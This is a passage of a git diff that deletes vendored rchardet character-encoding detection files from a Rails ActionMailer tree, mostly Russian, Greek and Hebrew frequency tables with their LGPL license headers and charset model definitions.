-3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0,
-0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
-3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0,
-0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1,
-1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1,
-1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,
-2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1,
-1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,
-3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1,
-1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0,
-2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2,
-1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1,
-1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1,
-1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,
-2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1,
-1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,
-3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2,
-1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,
-2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1,
-1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,
-2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1,
-1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,
-1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1,
-1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0,
-3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1,
-2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1,
-3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1,
-1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,
-1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1,
-0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,
-2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1,
-1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0,
-1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,
-0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1,
-1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
-2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2,
-2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,
-1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0,
-1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,
-2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,
-1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,
-0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,
-2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1,
-1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,
-1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,
-0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
-0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1,
-0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,
-0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,
-0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,
-1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,
-0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,
-2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,
-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,
-0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
-]
-
-Koi8rModel = { 
-  'charToOrderMap' =>  KOI8R_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "KOI8-R"
-}
-
-Win1251CyrillicModel = { 
-  'charToOrderMap' =>  win1251_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "windows-1251"
-}
-
-Latin5CyrillicModel = { 
-  'charToOrderMap' =>  latin5_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "ISO-8859-5"
-}
-
-MacCyrillicModel = { 
-  'charToOrderMap' =>  macCyrillic_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "MacCyrillic"
-}
-
-Ibm866Model = { 
-  'charToOrderMap' =>  IBM866_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "IBM866"
-}
-
-Ibm855Model = { 
-  'charToOrderMap' =>  IBM855_CharToOrderMap,
-  'precedenceMatrix' =>  RussianLangModel,
-  'mTypicalPositiveRatio' =>  0.976601,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "IBM855"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb
deleted file mode 100755
index 934a233e..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb
+++ /dev/null
@@ -1,227 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-
-module CharDet
-  # 255: Control characters that usually does not exist in any text
-  # 254: Carriage/Return
-  # 253: symbol (punctuation) that does not belong to word
-  # 252: 0 - 9
-
-  # Character Mapping Table:
-  Latin7_CharToOrderMap = [
-    255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-    253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-    252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-    253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85,  # 40
-    79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253,  # 50
-    253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55,  # 60
-    78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253,  # 70
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 80
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 90
-    253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253,  # a0
-    253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123,  # b0
-    110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39,  # c0
-    35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15,  # d0
-    124,  1, 29, 20, 21,  3, 32, 13, 25,  5, 11, 16, 10,  6, 30,  4,  # e0
-    9,  8, 14,  7,  2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253,  # f0
-  ]
-
-  Win1253_CharToOrderMap = [
-    255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-    253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-    252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-    253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85,  # 40
-    79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253,  # 50
-    253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55,  # 60
-    78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253,  # 70
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 80
-    255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 90
-    253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253,  # a0
-    253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123,  # b0
-    110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39,  # c0
-    35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15,  # d0
-    124,  1, 29, 20, 21,  3, 32, 13, 25,  5, 11, 16, 10,  6, 30,  4,  # e0
-    9,  8, 14,  7,  2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253,  # f0
-  ]
-
-  # Model Table: 
-  # total sequences: 100%
-  # first 512 sequences: 98.2851%
-  # first 1024 sequences:1.7001%
-  # rest  sequences:     0.0359%
-  # negative sequences:  0.0148% 
-  GreekLangModel = [
-    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-    0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-    0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0,
-    3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-    0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0,
-    2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,
-    0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0,
-    2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-    0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0,
-    0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
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-  ]
-
-  Latin7GreekModel = { 
-  'charToOrderMap' =>  Latin7_CharToOrderMap,
-  'precedenceMatrix' =>  GreekLangModel,
-  'mTypicalPositiveRatio' =>  0.982851,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "ISO-8859-7"
-  }
-
-  Win1253GreekModel = { 
-  'charToOrderMap' => Win1253_CharToOrderMap,
-  'precedenceMatrix' => GreekLangModel,
-  'mTypicalPositiveRatio' => 0.982851,
-  'keepEnglishLetter' => false,
-  'charsetName' => "windows-1253"
-  }
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb
deleted file mode 100755
index 37b3b2d3..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb
+++ /dev/null
@@ -1,202 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-#          Simon Montagu
-# Portions created by the Initial Developer are Copyright (C) 2005
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#   Shoshannah Forbes - original C code (?)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-# 255: Control characters that usually does not exist in any text
-# 254: Carriage/Return
-# 253: symbol (punctuation) that does not belong to word
-# 252: 0 - 9
-
-# Windows-1255 language model
-# Character Mapping Table:
-Win1255_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85,  # 40
- 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253,  # 50
-253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49,  # 60
- 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253,  # 70
-124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214,
-215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221,
- 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227,
-106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234,
- 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237,
-238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250,
-  9,  8, 20, 16,  3,  2, 24, 14, 22,  1, 25, 15,  4, 11,  6, 23,
- 12, 19, 13, 26, 18, 27, 21, 17,  7, 10,  5,251,252,128, 96,253,
-]
-
-# Model Table: 
-# total sequences: 100%
-# first 512 sequences: 98.4004%
-# first 1024 sequences: 1.5981%
-# rest  sequences:      0.087%
-# negative sequences:   0.0015% 
-HebrewLangModel = [
-0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0,
-3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,
-1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,
-1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3,
-1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2,
-1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2,
-1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2,
-0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2,
-0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2,
-1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,
-3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2,
-0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1,
-0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,
-0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,
-0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
-3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2,
